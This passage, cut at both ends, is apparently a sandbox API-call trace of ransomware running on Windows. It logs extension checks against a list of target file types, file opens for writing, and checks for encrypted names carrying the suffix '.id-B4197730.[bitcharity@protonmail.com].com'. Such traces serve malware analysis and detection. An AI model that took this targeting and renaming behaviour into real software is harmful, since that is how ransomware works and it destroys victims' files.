(lpString1=".1cd", lpString2=".BAK") returned -1 [0138.759] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0138.759] lstrlenW (lpString=".jpg") returned 4 [0138.759] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0138.759] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0138.759] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0138.759] lstrlenW (lpString=".doc") returned 4 [0138.759] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0138.759] lstrlenW (lpString=".docx") returned 5 [0138.759] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0138.759] lstrlenW (lpString=".pdf") returned 4 [0138.759] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0138.760] lstrlenW (lpString=".xls") returned 4 [0138.760] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0138.760] lstrlenW (lpString=".xlsx") returned 5 [0138.760] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0138.760] lstrlenW (lpString=".ppt") returned 4 [0138.760] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0138.760] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0138.760] lstrlenW (lpString=".zip") returned 4 [0138.760] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0138.760] lstrlenW (lpString=".rar") returned 4 [0138.760] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0138.760] lstrlenW (lpString=".bz2") returned 4 [0138.760] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0138.760] lstrlenW (lpString=".7z") returned 3 [0138.760] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0138.760] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0138.760] lstrlenW (lpString=".dbf") returned 4 [0138.760] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0138.760] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0138.760] lstrlenW (lpString=".1cd") returned 4 [0138.760] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0138.760] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0138.760] lstrlenW (lpString=".jpg") returned 4 [0138.760] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0138.760] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0138.760] lstrlenW (lpString="Alphabet.xml") returned 12 [0138.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0139.176] GetFileSizeEx (in: hFile=0x1090, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=791421) returned 1 [0139.176] CloseHandle (hObject=0x1090) returned 1 [0139.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0139.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0139.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0139.177] lstrlenW (lpString=".doc") returned 4 [0139.177] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.177] lstrlenW (lpString=".docx") returned 5 [0139.177] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0139.177] lstrlenW (lpString=".pdf") returned 4 [0139.177] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.177] lstrlenW (lpString=".xls") returned 4 [0139.177] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.177] lstrlenW (lpString=".xlsx") returned 5 [0139.177] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0139.177] lstrlenW (lpString=".ppt") returned 4 [0139.177] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0139.177] lstrlenW (lpString=".zip") returned 4 [0139.177] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.177] lstrlenW (lpString=".rar") returned 4 [0139.177] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.177] lstrlenW (lpString=".bz2") returned 4 [0139.177] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.178] lstrlenW (lpString=".7z") returned 3 [0139.178] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0139.178] lstrlenW (lpString=".dbf") returned 4 [0139.178] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0139.178] lstrlenW (lpString=".1cd") returned 4 [0139.178] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0139.178] lstrlenW (lpString=".jpg") returned 4 [0139.178] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0139.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0139.178] lstrlenW (lpString=".doc") returned 4 [0139.178] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.178] lstrlenW (lpString=".docx") returned 5 [0139.178] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0139.178] lstrlenW (lpString=".pdf") returned 4 [0139.178] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.178] lstrlenW (lpString=".xls") returned 4 [0139.178] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.178] lstrlenW (lpString=".xlsx") returned 5 [0139.178] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0139.178] lstrlenW (lpString=".ppt") returned 4 [0139.178] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0139.178] lstrlenW (lpString=".zip") returned 4 [0139.178] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.179] lstrlenW (lpString=".rar") returned 4 [0139.179] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.179] lstrlenW (lpString=".bz2") returned 4 [0139.179] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.179] lstrlenW (lpString=".7z") returned 3 [0139.179] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0139.179] lstrlenW (lpString=".dbf") returned 4 [0139.179] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0139.179] lstrlenW (lpString=".1cd") returned 4 [0139.179] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0139.179] lstrlenW (lpString=".jpg") returned 4 [0139.179] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.179] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0139.179] lstrlenW (lpString="auxpad.xml") returned 10 [0139.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0139.330] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=212) returned 1 [0139.330] CloseHandle (hObject=0x109c) returned 1 [0139.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0139.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0139.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0139.352] lstrlenW (lpString=".doc") returned 4 [0139.352] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.352] lstrlenW (lpString=".docx") returned 5 [0139.352] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0139.352] lstrlenW (lpString=".pdf") returned 4 [0139.352] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.352] lstrlenW (lpString=".xls") returned 4 [0139.352] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.352] lstrlenW (lpString=".xlsx") returned 5 [0139.352] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0139.352] lstrlenW (lpString=".ppt") returned 4 [0139.352] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0139.352] lstrlenW (lpString=".zip") returned 4 [0139.352] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.352] lstrlenW (lpString=".rar") returned 4 [0139.352] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.352] lstrlenW (lpString=".bz2") returned 4 [0139.352] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.352] lstrlenW (lpString=".7z") returned 3 [0139.352] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0139.352] lstrlenW (lpString=".dbf") returned 4 [0139.352] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0139.353] lstrlenW (lpString=".1cd") returned 4 [0139.353] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0139.353] lstrlenW (lpString=".jpg") returned 4 [0139.353] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0139.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0139.353] lstrlenW (lpString=".doc") returned 4 [0139.353] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.353] lstrlenW (lpString=".docx") returned 5 [0139.353] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0139.353] lstrlenW (lpString=".pdf") returned 4 [0139.353] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.353] lstrlenW (lpString=".xls") returned 4 [0139.353] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.353] lstrlenW (lpString=".xlsx") returned 5 [0139.353] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0139.353] lstrlenW (lpString=".ppt") returned 4 [0139.353] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0139.353] lstrlenW (lpString=".zip") returned 4 [0139.353] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.353] lstrlenW (lpString=".rar") returned 4 [0139.353] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.353] lstrlenW (lpString=".bz2") returned 4 [0139.353] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.353] lstrlenW (lpString=".7z") returned 3 [0139.353] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0139.354] lstrlenW (lpString=".dbf") returned 4 [0139.354] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0139.354] lstrlenW (lpString=".1cd") returned 4 [0139.354] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0139.354] lstrlenW (lpString=".jpg") returned 4 [0139.354] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.354] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0139.354] lstrlenW (lpString="base_heb.xml") returned 12 [0139.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0139.911] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=738) returned 1 [0139.911] CloseHandle (hObject=0x103c) returned 1 [0139.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0139.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0139.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0139.912] lstrlenW (lpString=".doc") returned 4 [0139.912] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.912] lstrlenW (lpString=".docx") returned 5 [0139.912] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0139.912] lstrlenW (lpString=".pdf") returned 4 [0139.912] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.912] lstrlenW (lpString=".xls") returned 4 [0139.912] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.912] lstrlenW (lpString=".xlsx") returned 5 [0139.912] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0139.912] lstrlenW (lpString=".ppt") returned 4 [0139.912] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0139.912] lstrlenW (lpString=".zip") returned 4 [0139.912] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.912] lstrlenW (lpString=".rar") returned 4 [0139.912] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.912] lstrlenW (lpString=".bz2") returned 4 [0139.912] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.912] lstrlenW (lpString=".7z") returned 3 [0139.912] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0139.912] lstrlenW (lpString=".dbf") returned 4 [0139.912] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0139.912] lstrlenW (lpString=".1cd") returned 4 [0139.913] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0139.913] lstrlenW (lpString=".jpg") returned 4 [0139.913] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0139.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0139.913] lstrlenW (lpString=".doc") returned 4 [0139.913] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.913] lstrlenW (lpString=".docx") returned 5 [0139.913] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0139.913] lstrlenW (lpString=".pdf") returned 4 [0139.913] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.913] lstrlenW (lpString=".xls") returned 4 [0139.913] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.913] lstrlenW (lpString=".xlsx") returned 5 [0139.913] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0139.913] lstrlenW (lpString=".ppt") returned 4 [0139.913] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0139.913] lstrlenW (lpString=".zip") returned 4 [0139.913] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.913] lstrlenW (lpString=".rar") returned 4 [0139.913] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.913] lstrlenW (lpString=".bz2") returned 4 [0139.913] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.913] lstrlenW (lpString=".7z") returned 3 [0139.913] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0139.913] lstrlenW (lpString=".dbf") returned 4 [0139.913] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0139.913] lstrlenW (lpString=".1cd") returned 4 [0139.914] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0139.914] lstrlenW (lpString=".jpg") returned 4 [0139.914] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.914] lstrcmpiW (lpString1=".dat", lpString2=".com") returned 1 [0139.914] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0139.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0139.914] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=1100592) returned 1 [0139.914] CloseHandle (hObject=0x103c) returned 1 [0139.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0139.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0139.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0139.915] lstrlenW (lpString=".doc") returned 4 [0139.915] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0139.915] lstrlenW (lpString=".docx") returned 5 [0139.915] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0139.915] lstrlenW (lpString=".pdf") returned 4 [0139.915] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0139.915] lstrlenW (lpString=".xls") returned 4 [0139.915] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0139.915] lstrlenW (lpString=".xlsx") returned 5 [0139.915] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0139.915] lstrlenW (lpString=".ppt") returned 4 [0139.915] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0139.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0139.915] lstrlenW (lpString=".zip") returned 4 [0139.915] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0139.915] lstrlenW (lpString=".rar") returned 4 [0139.915] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0139.915] lstrlenW (lpString=".bz2") returned 4 [0139.915] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0139.915] lstrlenW (lpString=".7z") returned 3 [0139.915] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0139.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0139.915] lstrlenW (lpString=".dbf") returned 4 [0139.915] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0139.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0139.915] lstrlenW (lpString=".1cd") returned 4 [0139.915] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0139.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0139.916] lstrlenW (lpString=".jpg") returned 4 [0139.916] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0139.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0139.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0139.916] lstrlenW (lpString=".doc") returned 4 [0139.916] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0139.916] lstrlenW (lpString=".docx") returned 5 [0139.916] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0139.916] lstrlenW (lpString=".pdf") returned 4 [0139.916] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0139.916] lstrlenW (lpString=".xls") returned 4 [0139.916] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0139.916] lstrlenW (lpString=".xlsx") returned 5 [0139.916] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0139.916] lstrlenW (lpString=".ppt") returned 4 [0139.916] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0139.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0139.916] lstrlenW (lpString=".zip") returned 4 [0139.916] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0139.916] lstrlenW (lpString=".rar") returned 4 [0139.916] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0139.916] lstrlenW (lpString=".bz2") returned 4 [0139.916] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0139.916] lstrlenW (lpString=".7z") returned 3 [0139.916] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0139.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0139.917] lstrlenW (lpString=".dbf") returned 4 [0139.917] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0139.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0139.917] lstrlenW (lpString=".1cd") returned 4 [0139.917] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0139.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0139.917] lstrlenW (lpString=".jpg") returned 4 [0139.917] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0139.917] lstrcmpiW (lpString1=".dat", lpString2=".com") returned 1 [0139.917] lstrlenW (lpString="hwrusalm.dat") returned 12 [0139.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0140.380] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=2515696) returned 1 [0140.380] CloseHandle (hObject=0x10c8) returned 1 [0140.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0140.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft 